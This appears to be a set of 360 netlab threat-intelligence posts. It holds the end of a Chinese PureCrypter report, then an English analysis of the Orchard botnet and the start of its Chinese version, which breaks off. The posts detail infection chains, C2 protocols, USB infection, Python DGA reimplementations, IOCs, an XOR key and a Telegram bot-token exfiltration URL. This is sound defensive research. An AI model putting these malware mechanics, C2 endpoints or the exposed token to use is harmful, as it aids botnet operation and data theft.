2022-05-29 17:46:00	2022-06-07 03:50:36	3	underdohg.ac.ug	A	185.215.113.89	
2022-04-15 22:34:53	2022-06-07 03:33:10	18	rockphil.ac.ug	A	185.215.113.89	
2022-04-15 03:09:13	2022-06-07 03:19:50	14	pdshcjvnv.ug	A	185.215.113.89	
2022-04-15 03:04:12	2022-06-07 03:12:04	16	mistitis.ug	A	185.215.113.89	
2022-04-16 03:08:46	2022-06-07 03:08:48	18	nicoslag.ru	A	185.215.113.89	
2022-04-19 02:33:31	2022-06-07 02:37:08	16	danwisha.ac.ug	A	185.215.113.89	
2022-05-28 23:56:02	2022-06-05 05:14:50	7	underdohg.ug	A	185.215.113.89	
2022-05-10 14:44:28	2022-06-02 17:40:12	24	jonescourtney.ac.ug	A	185.215.113.89	
2022-06-02 07:44:25	2022-06-02 07:44:25	1	triathlethe.ug	A	185.215.113.89	
2022-04-24 03:05:38	2022-06-01 16:54:59	2191	qwertasd.ru	A	185.215.113.89	
2022-04-17 09:34:27	2022-06-01 01:42:07	2	partaususd.ru	A	185.215.113.89	
2022-04-25 00:08:53	2022-05-31 07:17:00	5	timecheck.ug	A	185.215.113.89	
2022-04-21 02:36:41	2022-05-31 01:20:37	21	courtneyjones.ac.ug	A	185.215.113.89	
2022-04-16 19:09:02	2022-05-31 01:02:02	14	marksidfgs.ug	A	185.215.113.89	
2022-04-25 03:01:15	2022-05-30 03:04:29	10	mofdold.ug	A	185.215.113.89	
2022-04-15 02:36:21	2022-05-30 02:32:53	17	check-time.ru	A	185.215.113.89	
2022-04-18 02:21:26	2022-05-30 02:22:30	17	agenttt.ac.ug	A	185.215.113.89	
2022-04-17 03:17:46	2022-05-29 03:17:26	15	qd34g34ewdfsf23.ru	A	185.215.113.89	
2022-04-19 02:25:06	2022-05-29 02:22:57	14	andres.ug	A	185.215.113.89	
2022-04-16 02:27:44	2022-05-29 02:22:47	16	asdasgs.ug	A	185.215.113.89

第3列为访问量，不同域名访问量有差别，整体评估应该在千级，而这只是我们看到的众多C2中的一个。

通过关联分析，我们发现185.215.113.89经常跟62.204.41.69(3月)和45.143.201.4（6月）这两个C2配合使用，它们关系可以用下图关联。

传播分析

PureCrypter采用了downloader+injector的双模块机制，前者被传播后再传播后者，相当于在传播链条上增加了一环，加上作者惯用图片名后缀、编码传输等手段隐藏injector，这些本身就已足够复杂。而作者在downloader传播这块也下了不少功夫，我们看到的有通过bat2exe捆绑破解软件的方式、使用VBS和powershell脚本loader的方式、结合Godzilla前置loader等多种方式，这些操作叠加起来的结果就是PureCrypter的传播链条普遍较深较复杂。在5月份我们甚至发现通过PureCrypter传播Raccoon，后者进一步传播Azorult、Remcos、PureMiner、PureClipper的案例。

下面介绍几个典型传播手法。

1，“Bat2Exe+Powershell+VBS+Meteorite+PureCrypter”传播Mars Stealer

这个主要在一些破解软件上有见到，downloader模块通过Bat2Exe捆绑到前者进行传播。实际运行时保存在资源中的恶意文件被释放到tmp目录下，通过start.bat来触发运行。释放在tmp目录下的文件形如下图：

start.bat命令形如：

在我们分析的案例中，.lnk文件被用来启动powershell执行恶意命令。

Powershell解码出一个base64编码的VBS loader：

VBS loader进一步释放一个downloader，并通过shellcode运行后者。该downloader的敏感信息都保存在资源中，包括进程名和download url，如下图所示。

根据运行后的进程名将该downloader命名为Meteorite，上图中的url就对应PureCrypter的downloader模块，完整的通信过程如下图：

最终payload为Mars Stealer，c2: rockrock.ug/gggate.php，配置信息如下:

2，“VBS/Powershell + PureCrypter” 传播PureMiner

涉及的C2为 89.34.27.167，入口为一个VBS脚本或者Powershell脚本，下面是VBS脚本的例子。

网络通信流量如下：

Powershell脚本如下：

Powershell脚本下载并运行PureCrypter的downloader模块，后者继续下载injector，这里比较特殊的是使用Discord来分发injector:

最终的payload为PureMiner，C2如下:

185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top

port: 8080, 8444

3，利用未知.NET downloader传播 AgentTesla、RedLine

该downloader家族未知，其运行时同样分为多个阶段，其中stage0模块负责加载资源中的stage1恶意模块：

stage1模块运行后会继续加载下一阶段模块stage2：

stage2模块也是一个Crypter(暂未命名)，与PureCrypter不同，他还提供了下载功能，用来下载恶意PureCrypter的downloader模块，即图中的puty.exe。

从资源中异或解密恶意软件，key为bnvFGkCKlnhQ，相关算法如下：

因此实际传播了两个家族：

stage2的payload为AgentTesla，c2为 https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument

PureCrypter的payload为RedLine，c2为

IP: workstation2022.ddns.net:62099
ID: cheat

总结

PureCrypter是一个仍在活跃的MaaS类型的botnet，已经传播了10多种影响比较大的其它恶意家族。PureCrypter的传播手法普遍比较复杂，其背后应该存在至少一个比较专业的黑产组织，他们拥有较多的技术、域名和IP资源，预计今后会继续传播其它的恶意家族。我们对PureCrypter的传播活动一直有较好的检测，会第一时间将C2等威胁信息添加到我们的威胁情报库中。后续我们会继续保持关注，及时更新最新的威胁信息。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

IOC

MD5

Family Name	MD5
Bat2Exe Downloader	424ed5bcaae063a7724c49cdd93138f5
VBS downloader	3f20e08daaf34b563227c797b4574743
Powershell downloader	c4c5167dec23b6dd2d565cd091a279e4
未知.NET Downloader	9b70a337824bac612946da1432295e9c

C2 &URL

agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4

https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png

A new botnet Orchard Generates DGA Domains with Bitcoin Transaction Information

daji — Fri, 05 Aug 2022 14:00:00 GMT

DGA is one of the classic techniques for botnets to hide their C2s, attacker only needs to selectively register a very small number of C2 domains, while for the defenders, it is difficult to determine in advance which domain names will be generated and registered.

360 netlab has long focused on the research of botnet attack and defense technology, we maintain a free DGA feed and share the research results with the industry.

Recently we discovered a new botnet that uses Satoshi Nakamoto's Bitcoin account transaction information to generate DGA domain name. Because of the uncertainty of Bitcoin transactions, this technique is more unpredictable than using the common time-generated DGAs, and thus more difficult to defend against.

The technique was discovered in a family of botnets we called Orchard. Since February 2021, this botnet has gone through 3 versions, and even switched programming languages in between.

Key points are as follow:

Orchard is a botnet family that uses DGA technology with the core function of installing various malware on the victim's machine.
From February 2021 to the present, we have detected 3 versions of Orchard samples, all using the DGA technique.
Orchard's DGA algorithm has remained unchanged, but the use of dates has been changing, and the latest version also supports the use of bitcoin account information to generate separate DGA domains.
In addition to DGA, Orchard also hardcodes C2 domains.
Orchard is still active and dedicated to Monroe coin mining.

Overview

Orchard uses a redundant C2 mechanism of "hardcoded domain + DGA", and each version hardcodes a unique DuckDNS dynamic domain name as C2.

v1, orcharddns.duckdns.org
v2，orchardmaster.duckdns.org
v3, ojena.duckdns.org

A timeline is as follow

* 2021.3, v1, use C++. Combined with historical data, we found that the earliest appearance in January 2021
* 2021.9, v2, use Golang and C++
* 2022.7, v3, use C++

All three versions support propagation by infecting USB disks, much like traditional viruses, as described in the later section of "USB Infection Logic". Theoretically, Orchard can be spread in other ways as well.

Using our graph system in combination with PDNS and other dimensional data, we found that there is a clear case of shared IPs between the C2 of v1 and v2, as shown in the figure below.

The graph system helped us find more C2 IPs and domains, and the domains here are characterized by all ending in duckdns.org. v3 is relatively new and has fewer associated domains, and here is the active situation of v3 domains.

We can see that it was launched in May this year, and then gradually became active, and it should still be in the active period.

Based on our PDNS data, we evaluated the infection scale of the three versions, among which v1 and v2 have thousands of nodes, and v3 has less because of its late appearance, and the following is the detailed resolution number of each version of domain name to specific IP(note the numbers do not reflect all the bots as as our PDNS visibility focus mainly in China)

# v1, orcharddns.duckdns.org
37, 45.61.185.36
413,  45.61.186.52
1301,  45.61.187.240
207, 205.185.124.143

# v2, orchardmaster.duckdns.org
45,  45.61.185.36
104, 45.61.186.52
659,  45.61.187.240

# v3, ojena.duckdns.org
418, 45.61.185.231

Sample Analysis

Loader is used for counter analysis and self-protection. Currently Orchard loader is not fixed, even a single version can have a variety of loaders, for example, v1 version of Orchard is base64 encoded in the loader, v2/v3 version of the sample in the form of resource files stored in the loader in some cases. Each version has also used virtualization packers such as VMP, Enigma, etc. to protect itself. In general, Orchard's workflow can be summarized in the following diagram.

The functions of all three versions of Orchard are basically the same and include:

Uploading device and user information
Responding to commands/downloading to execute the next stage of the module
Infecting USB storage devices

The core functions of each of the 3 versions of Orchard are analyzed below in several dimensions, such as DGA algorithm, C2 communication and host behavior.

v1 version

The analysis of this version is based on the sample with MD5=5c883ff8539b8d04be017a51a84e3af8. It first releases the embedded PE file to the self-boot directory at runtime, and the released PE is base64 decoded in memory to get the orchard data, and then the PE uses any exe under System32/SysWOW64 as a puppet process to run the saved orchard code. The overall logic of this version of Orchard is as follows, mainly divided into two parts: network communication and USB infection, the final function depends on the specific module issued by C2, so orchard itself can be considered as a Downloader.

Here we mainly describe its network communication process (the logic of USB infection is the same for all three versions, see the section on USB infection for details).

C2 communication process is relatively simple, the bot in the check-in process will contact C2 to send the collected host information, and then wait for C2 response. The response data format is generally "command + data", the function of the command is specified by the command code.

The information collected by v1 version includes: volume serial number (HWID), computer name, user name, operating system name, system version, installed capture driver name, antivirus information, parent process file modification time, top window name and window title, etc. These information are separated by "[o.r.c.h.a.r.d]". " as a separator and then sent as shown in the following figure.

The example of C2 response data is as follows, where "[&&]" stands for instruction code 2, which represents downloading and execution, and the specific processing is divided into 2 types: if the response data is a URL, the PE corresponding to the URL is downloaded and executed; if it is a base64 encoded content, the decoded data is decoded first and then executed. The response data here is actually the new version of base64-encoded PE file, which is equivalent to upgrade, which also indicates that the old version may have been deprecated.

The v1 version defines a total of 8 instructions, and the correspondence between the instruction code and the instruction string is as follows.

1 \[=] 
2 \[&&] 
3 \[##] 
4 \[###] 
5 \[%%] 
6 \[%%%] 
7 \[#\_#] 
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]

Due to the nulling of some instructions, the eight instructions actually correspond to three operations (subsequent versions are similar).

Instruction code 1 and 2: determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create a process to execute (CreateProcess to create a process, puppet process, remote thread injection, etc.).
Instruction code 3, 4, 8: terminate the current process to delete the original file, or restart.
Instruction code 7: collect C2, port, PID, file name information again to send to C2, example: orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c .h.a.r.d]

DGA Algorithm

v1's DGA takes the date string (e.g. "2022/07/05") as input, calculates its MD5 value, then divides the MD5 string into four 8-byte substrings, and splices them with the 4 suffixes of .com, .net, .org, .duckdns.org in turn to get the daily 4 groups of 16 DGA domain names, the algorithm is implemented as follows.

# 2021/04/15
import datetime
import hashlib

days=30
for i in range(0, days):
    datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
    print("seed: ", datex)
    md5 = hashlib.md5(datex.encode()).hexdigest()
    print('md5: ', md5)

    dga_list = []
    dga_list.append(md5[:8])
    dga_list.append(md5[8:16])
    dga_list.append(md5[16:24])
    dga_list.append(md5[24:32])
    for j in range(len(dga_list)):
        print(dga_list[j] + '.com')
        print(dga_list[j] + '.net')
        print(dga_list[j] + '.org')
        print(dga_list[j] + '.duckdns.org')

Sample domains are as follow:

seed:  2022/07/05
md5:  91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org

v2 version

The v2 version appears as a sample of two programming language implementations, Golang and C++, but with the same functionality. The analysis here takes the Golang sample with MD5=f3e0b960a48b433bc4bfe6ac44183b74 as an example, and its C2 initialization function is shown below, which can obviously see the hard-coded C2 domain names.

The v2 version of C2 communication starts to use json format, and the meaning of the fields is relatively clear. It collects roughly the same information as v1, including: volume serial number (HWID), computer name, user name, system version, antivirus information, active window information, etc. The new fields are: .net framework version (e.g. v2.0.50727), USB status, outgoing package type and its own version. The following is an actual observed version number information, Bot_Version=1.2/G may be interpreted as: version=v1.2, writing language=Golang.

The v2 version of the C++ language sample integrates the same C2, and the version information in the live package becomes "Bot_version:1/C", which collects the information shown in the figure below.

According to the code similarity analysis, the v2 C++ language sample is homologous with the later v3 C++ sample, which means that the latter is evolved from the former.

The v2 version has a total of two kinds of instructions.

Instruction 1: terminate the current process to delete the original file, or restart it.
Instruction 2: Determine whether the response data is URL or PE, if it is URL, then download and execute, if it is PE, then create process and execute (CreateProcess create process, puppet process, remote thread injection, etc.).

DGA Algorithm

v2 version of DGA algorithm is the same as v1, the difference lies in the processing of the date string. v2 will splice the hard-coded domain name "orchardmaster.duckdns.org" after the date string, such as "2022/07/ 05orchardmaster.duckdns.org", and then apply the DGA algorithm of v1 to generate the domain name.

v3 version

The development language of v3 is back to C++, which also includes C2 communication and USB infection functions. C2 communication logic runs in a thread, which also includes a secondary thread tied to XMRig mining, and when Orchard has received the XMrig program and created a puppet process to run, the secondary thread will send mining-related hardware information to C2 again. The purpose of trying to read the configuration of the mining software from C2 is to check if the XMRig runtime configuration needs to be dynamically modified (XMRig provides a set of HTTP api that supports dynamically reading and modifying the runtime mining configuration).
Taking the sample with MD5=cb442cbff066dfef2e3ff0c56610148f as an example, the C2 communication function is as follows.

The v3 version also uses json format to save host information in C2 communication, and the overall structure of the sent data is Byte_0x46+TotalLen+InfoLen+Info.json. Compared to v2, v3 adds several fields related to mining, and the collected information includes:

Active_Window: the name of the currently active window
Antivirus: antivirus information
Authentiate_Type: Windows authentication type
CPU_Model: CPU information
Camera: whether a camera is present
Elevated: whether it is administrator privileges
GPU_Models: graphics card information
Identity：HWID\username\computer name
Operating_System: System version information
Ram_Size：Running memory size
System_Architecture：Number of processors
Threads：Number of cores per processor
Version：Orchard version

An example of a live package for v3 is shown below.

The body part of C2 response message is also in json format, and its structure is:
TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json.
v3 supports 8 instructions, corresponding to 3 operations.

Instruction 1: Collect host information/its own running status and send it to C2 (fields include Domain, In_Memory, Install_Path, Is_Patched, Message_Type, Patch_Name, Port, Power_SaverMode, Process_ID. (Process_Name, Process_Path, System_Idle, System_Uptime)
Instruction 4, 6: terminate the current process to delete the original file, or restart.
Instruction 7, 8: download & execute the miner program sent down

The following is an actual trace of the C2 response instruction.

Where Transfer_Port indicates that the host is expected to make another request to 2929, and Message_Type indicates the instruction code, whose value is 7, indicating download & execute.

After receiving the above instruction, bot makes another request to C2's TCP port 2929. Cuda is a parallel computing framework introduced by Nvidia that can only be used for its own GPU, and a Cuda_Version of 0 here means that Cuda is not supported.

C2 then responds with an XMRig miner program, which Client receives and saves and then injects XMRig into the puppet process according to instruction 7 to start performing mining work.

During the analysis we found that the v3 version has recently been continuously distributing an identical XMRig mining program, the latter integrated with the default mining configuration information, private mining pool address: 45.61.187.7:7733

DGA Algorithm

The DGA algorithm of v3 is unchanged, but the input is more variable. It actually generates two sets of DGA domains, the first set of domains is entered with a spelling algorithm of date string + "ojena.duckdns.org", shaped like "2022-08-02ojena.duckdns.org ". The second set of domain names is entered as the return result of the URL https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa. A typical return result is shown below.

{"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa":"final_balance":6854884253,"n_tx":3393,"total_received":6854884253}}

The meaning of the relevant fields can be found in Blockchain's API manual

It is worth emphasizing that the v3 version does not parse the returned results, but directly feed it into the DGA algorithm as a whole to generate the domain name. Instead, the wallet address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa is said to be the Bitcoin Genesis address held by Satoshi Nakamoto himself. Over the past decade or so, small amounts of bitcoin have been transferred to this wallet on a daily basis for various reasons, so it is variable and that change is difficult to predict, so the balance information for this wallet can also be used as DGA input.

At the time of writing, we found that other researchers had recently noticed this use of bitcoin account transaction information as DGA input for v3. The results of their analysis agreed with ours, but they did not notice that Orchard had actually been around for a long time.

The complete v3 DGA algorithm is as follows.

# 2022/07/05
import datetime
import requests
import hashlib

# cluster 1
days = 30
for i in range(0, days):
    domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']
    for do in domains:
        datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)
        print("seed_1: %s" % datex)
        md5 = hashlib.md5(datex.encode()).hexdigest()
        print("md5: %s" % md5)
        
        dga_list = []
        dga_list.append(md5[:8])
        dga_list.append(md5[8:16])
        dga_list.append(md5[16:24])
        dga_list.append(md5[24:32])
        for j in range(len(dga_list)):
            print(dga_list[j] + '.com')
            print(dga_list[j] + '.net')
            print(dga_list[j] + '.org')
            print(dga_list[j] + '.duckdns.org')


# cluster 2
url = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' 
res = requests.get(url)
wallet_info = res.text
print('seed_2: %s' % wallet_info)
md5 = hashlib.md5(wallet_info.encode()).hexdigest()
print('md5: %s' % md5)

dga_list = []
dga_list.append(md5[:8])
dga_list.append(md5[8:16])
dga_list.append(md5[16:24])
dga_list.append(md5[24:32])
for j in range(len(dga_list)):
    print(dga_list[j] + '.com')
    print(dga_list[j] + '.net')
    print(dga_list[j] + '.org')
    print(dga_list[j] + '.duckdns.org')

USB Infection

Orchard's file infection is not a traditional code insertion, but a file replacement. When a USB storage device is detected, Orchard will create a hidden directory under the root directory of the device, traverse all files for infection, and back up the files before and after infection to this hidden directory, the infected object is infected with the type attribute removed, and after infection all become exe type, and append the .exe suffix to become an executable file. Then the sample will copy itself to the infected directory and randomly named, the string is saved to the resources of the infected file. When the infected file in the device is executed by the user in the new system, it will launch the sample file in the hidden directory to achieve the purpose of spreading the infection.

The USB infection process involves two embedded PE files, the first one is a DLL file that will be released to the %LocalAppData% directory, this DLL is called CGO_Helper by Orchard and is mainly used to extract and replace the icon of the infected file, its MD5 is The second file is an exe file with MD5 of f3c06399c68c5fdf80bb2853f8f2934b, which is used as a template file to store the infected code, and all the data of the infected file will be replaced with the data of this template file. The function of this template is to find the corresponding exe in the hidden directory to start execution according to the exe name in the resource, so the resource of the infected file is saved with the name of the backup Orchard sample.

USB infection case example is as follows, the name of Orchard sample is saved in the resource of the infected file, when the user clicks on the infected exe, it will start the Orchard sample file in the hidden directory.

Summary

Orchard is a botnet family that uses DGA technology. The latest version is dedicated to mining and has started using more unpredictable information like transaction information of bitcoin accounts as input to DGA, making detection more difficult. In over 1 year, Orchard has appeared in 3 different versions with changes in programming language and DGA implementation, indicating that Orchard is a botnet family that is still active and deserves our vigilance. We expect more variants to emerge subsequently, for which we will continue to keep an eye on, and will continue to disclose new findings.

Contact us

Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.

IOCs

C2

orcharddns.duckdns.org
orchardmaster.duckdns.org
ojena.duckdns.org
vgzero.duckdns.org
victorynicholas.duckdns.org
zamarin1.duckdns.org

45.61.185.36
45.61.186.52
45.61.187.240
205.185.124.143
45.61.185.231

MD5

5c883ff8539b8d04be017a51a84e3af8
f3e0b960a48b433bc4bfe6ac44183b74
9cbe4bd27eba8c70b6eddaeb6707659b
cb442cbff066dfef2e3ff0c56610148f
10D42F5465D5D8808B43619D8266BD99
f3c06399c68c5fdf80bb2853f8f2934b
19159280736dbe6c11b7d6a57f6bb7b9
b5a6f78d5575a60316f4e784371d4f8c
3c20ba851edecd28c198691321429883
2b244a39571ab27f7bb4174d460adeef
ae1e9b3621ee041be6ab5e12bff37c53
00b1620f89b7980b34d53737d9e42fd3
4d2445a43591d041cabbbf3dfca6dfbd

Private mining pool

45.61.187.7:7733

Contact us

Readers are always welcomed to reach us on Twitter or email us to netlab[at]360.cn.

DGA家族Orchard持续变化，新版本用比特币交易信息生成DGA域名

daji — Fri, 05 Aug 2022 03:31:07 GMT

DGA是一种经典的botnet对抗检测的技术，其原理是使用某种DGA算法，结合特定的种子和当前日期，定期生成大量的域名，而攻击者只是选择性的注册其中的极少数。对于防御者而言，因为难以事先确定哪些域名会被生成和注册，因而防御难度极大。

360 netlab长期专注于botnet攻防技术的研究，维护了专门的DGA算法和情报库，并通过订阅情报的方式与业界分享研究成果。近期我们在分析未知DGA域名时发现一例不但使用日期，还会同时使用中本聪的比特币账号交易信息来生成DGA域名的例子。因为比特币交易的不确定性，该技术比使用时间生成的DGA更难预测，因而防御难度更大。

该技术发现于一个名为Orchard的botnet家族。自从2021年2月份首次检测到该家族以来，我们发现它至少经历了3个版本的变化，中间甚至切换过编程语言。结合长期的跟踪结果和其它维度的信息，我们认为Orchard会是一个长期活跃、持续发展的botnet家族，值得警惕。本文将介绍Orchard的最新DGA技术，以及它这3个版本的发展过程。本文要点如下：

Orchard是一个使用了DGA技术的botnet家族，核心功能是在受害者机器上安装各种恶意软件。
从2021年2月至今，我们先后检测到3个版本的Orchard样本，均使用了DGA技术。
Orchard的DGA算法一直未变，但日期的使用方式一直在变，最新版同时支持使用比特币账号信息来生成单独的DGA域名。
除了DGA，Orchard还硬编码了C2域名。
Orchard目前仍在活跃，致力于门罗币挖矿。

传播方式、规模以及影响范围

Orchard采用了“硬编码域名+DGA”的冗余C2机制，并且每个版本都硬编码了1个唯一的DuckDNS动态域名作为C2，根据它们的DGA实现方式和硬编码的域名，我们把已经检测到的Orchard样本分为3个版本：

v1, orcharddns.duckdns.org
v2，orchardmaster.duckdns.org
v3, ojena.duckdns.org

它们的时间线如下：

* 2021年3月，检测到v1版本，使用C++开发。结合历史数据，我们将v1首次出现时间提前到2021年2月。
* 2021年9月，检测到v2版本，它使用Golang和C++编写。
* 2022年7月，检测到v3版本，编写语言回到C++。

这3个版本都支持通过感染USB盘的方式进行传播，这一点跟传统的病毒很像，具体实现参考后面的“USB感染逻辑”部分。理论上，Orchard也完全可以通过其它方式传播。

利用我们的图系统结合PDNS和其它维度的数据，我们发现v1和v2的C2存在明显的共享IP的情况，如下图所示。

图系统帮我们找到了更多的C2 IP和域名，详见后面的IoC部分，这里的域名特点是都以duckdns.org结尾。v3因为比较新，没发现其它的关联域名，下面是v3域名的活跃情况。

能看到它是今年5月上线，然后逐渐活跃，目前应该仍然在活跃期内。

基于PDNS我们对3个版本的感染规模做了评估，其中v1和v2节点数近千，v3因为出现较晚，节点数不到500，下面是各个版本域名到具体IP的详细解析数。

# v1, orcharddns.duckdns.org
37, 45.61.185.36
413,  45.61.186.52
1301,  45.61.187.240
207, 205.185.124.143

# v2, orchardmaster.duckdns.org
45,  45.61.185.36
104, 45.61.186.52
659,  45.61.187.240

# v3, ojena.duckdns.org
418, 45.61.185.231

需要强调的是上面的规模数据只是我们视野内看到的，实际的应该要比这更多。

样本分析

Orchard样本在样本层面多使用loader，用于对抗分析和自我保护。目前看到的Orchard loader并不固定，即使单个版本也会出现多种loader的情况，比如v1版本的Orchard以base64字符串的形式存在于loader中，v2/v3版本的样本有的以资源文件的形式存放在loader中。各个版本还都曾使用过例如VMP、Enigma等虚拟壳来保护自身。总的来说，Orchard的工作流程可以用下面的图来总结。

Orchard三个版本的功能基本相同，包括：

上传设备及用户信息
响应指令/下载执行下一阶段的模块
感染USB存储设备

下面从DGA算法、C2通信和主机行为等几个维度分别分析3个版本Orchard的核心功能。

v1版本

该版本的分析以MD5=5c883ff8539b8d04be017a51a84e3af8的样本为基础。它在运行时首先释放内嵌的PE文件到自启动目录下，所释放的PE在内存中进行base64解码得到orchard的数据，随后该PE将System32/SysWOW64下的任一exe作为傀儡进程，来运行保存的orchard代码。该版本Orchard整体逻辑如下图，主要分为网络通信和USB感染两部分，最终功能取决于C2下发的具体模块，因此orchard本身可以认为是一个Downloader的角色。

此处主要描述其网络通信过程（三个版本的USB感染逻辑相同，详见USB感染一节）。

C2通信过程较为简单，bot在check-in过程中向C2发送收集到的主机信息，然后等待C2响应的指令。v1版本所收集信息包括：卷序列号（HWID）、电脑名称、用户名、操作系统名称、系统版本、已安装的捕获驱动程序名称、杀软信息、父进程文件修改时间、置顶窗口名称及窗口标题等，这些信息以“[o.r.c.h.a.r.d]”作为分隔符进行拼接后发送，如下图所示。

C2响应数据格式一般为“指令+数据”，指令的功能通过指令码指定。下面是一个具体的C2响应，其中"[&&]"代表指令码2，代表下载执行，具体处理过程分为2种：响应数据如果是URL，则下载URL对应的PE并执行；如果是base64编码的内容，则先解码然后执行解码后的数据。此处响应的数据实际是base64编码的新版本PE文件，相当于升级，这也表明老版本可能已经废弃。

v1版本一共定义了8个指令，指令码与指令字符串的对应关系如下：

1 \[=] 
2 \[&&] 
3 \[##] 
4 \[###] 
5 \[%%] 
6 \[%%%] 
7 \[#\_#] 
8 \[\_\_\] \[>>] \[<<] \[^^] \[\*\] \[\~\] \[@] \[!] \[#\*\#\] \[#@#]

由于某些指令置空，8个指令实际对应三种操作（后续版本大同小异）：

指令码1和2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。
指令码3、4、8：终结当前进程删除原始文件，或者重新启动。
指令码7：再次收集C2、port、PID、文件名信息向C2进行发送，示例：orcharddns.duckdns.org[o.r.c.h.a.r.d]5890[o.r.c.h.a.r.d]2260[o.r.c.h.a.r.d]stage-3_.exe[o.r.c.h.a.r.d]

DGA算法

v1的DGA以日期字符串（比如“2022/07/05”）作为输入，计算其MD5值，然后将MD5字符串均分成长度为8的四个子字符串，依次与 .com、.net、.org、.duckdns.org 这4个后缀拼接，得到每天4组16个DGA域名，算法实现如下。

# 2021/04/15
import datetime
import hashlib

days=30
for i in range(0, days):
    datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y/%m/%d')
    print("seed: ", datex)
    md5 = hashlib.md5(datex.encode()).hexdigest()
    print('md5: ', md5)

    dga_list = []
    dga_list.append(md5[:8])
    dga_list.append(md5[8:16])
    dga_list.append(md5[16:24])
    dga_list.append(md5[24:32])
    for j in range(len(dga_list)):
        print(dga_list[j] + '.com')
        print(dga_list[j] + '.net')
        print(dga_list[j] + '.org')
        print(dga_list[j] + '.duckdns.org')

示例域名如下：

seed:  2022/07/05
md5:  91ac64d29f78281ad802f44648b2137f
91ac64d2.com
91ac64d2.net
91ac64d2.org
91ac64d2.duckdns.org
9f78281a.com
9f78281a.net
9f78281a.org
9f78281a.duckdns.org
d802f446.com
d802f446.net
d802f446.org
d802f446.duckdns.org
48b2137f.com
48b2137f.net
48b2137f.org
48b2137f.duckdns.org

v2版本

v2版本出现了两种编程语言实现的样本，分别是Golang和C++，但是功能相同。这里的分析以MD5=f3e0b960a48b433bc4bfe6ac44183b74的Golang样本为例，它的C2初始化函数如下图所示，能明显看到硬编码的C2域名。

v2版本开始使用json格式，字段含义相对清晰。其收集的信息跟v1大致相同，包括：卷序列号（HWID）、电脑名称、用户名、系统版本、杀软信息、活动窗口信息等，新增的字段有：.net框架版本（比如v2.0.50727）、USB 状态、发包类型及自身版本。下面是一个实际观察到的版本号信息，Bot_Version=1.2/G可能的解释为：版本=v1.2，编写语言=Golang。

v2版本的C++语言样本集成了同样的C2，上线包中的版本信息则变成了“Bot_version:1/C”，它所收集的信息如下图所示。

根据代码相似性分析，v2版本的C++样本跟后来的v3版本代码同源，说明后者是从前者进化而来。

v2版本一共有两种指令：

指令1：终结当前进程删除原始文件，或者重新启动。
指令2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。

DGA算法

v2版本的DGA算法跟v1相同，差别在于对日期字符串的处理，v2会在日期字符串后拼接硬编码的域名“orchardmaster.duckdns.org”，形如“2022/07/05orchardmaster.duckdns.org"，然后套用v1版本的DGA算法生成域名。

v3版本

v3的开发语言回到C++编写，同样包括C2通信和USB感染功能。C2通信逻辑在一个线程中运行，同时该线程还包括一个跟XMRig挖矿绑定的辅助线程，当Orchard接收完毕下发的XMrig程序并创建傀儡进程运行之后，辅助线程会向C2再次发送挖矿相关的硬件信息，尝试从C2读取挖矿软件的配置，目的是为了检查是否需要动态修改XMRig运行时的配置（XMRig提供了一套HTTP api，支持动态读取并修改运行时的挖矿配置）。

以MD5=cb442cbff066dfef2e3ff0c56610148f的样本为例，C2通信功能如下。

v3版本在C2通信中同样使用json格式来保存主机信息，发送数据的整体结构为Byte_0x46+TotalLen+InfoLen+Info.json。相比v2，v3增加了多个跟挖矿相关的字段，收集的信息包括：

Active_Window：当前活动窗口名称
Antivirus：杀软信息
Authentiate_Type：Windows身份验证类型
CPU_Model：CPU信息
Camera：是否存在摄像头
Elevated：是否是管理员权限
GPU_Models：显卡信息
Identity：HWID\用户名\电脑名称
Operating_System：系统版本信息
Ram_Size：运行内存大小
System_Architecture：处理器个数
Threads：每个处理器内核个数
Version：Orchard版本

v3的上线包实例如下所示。

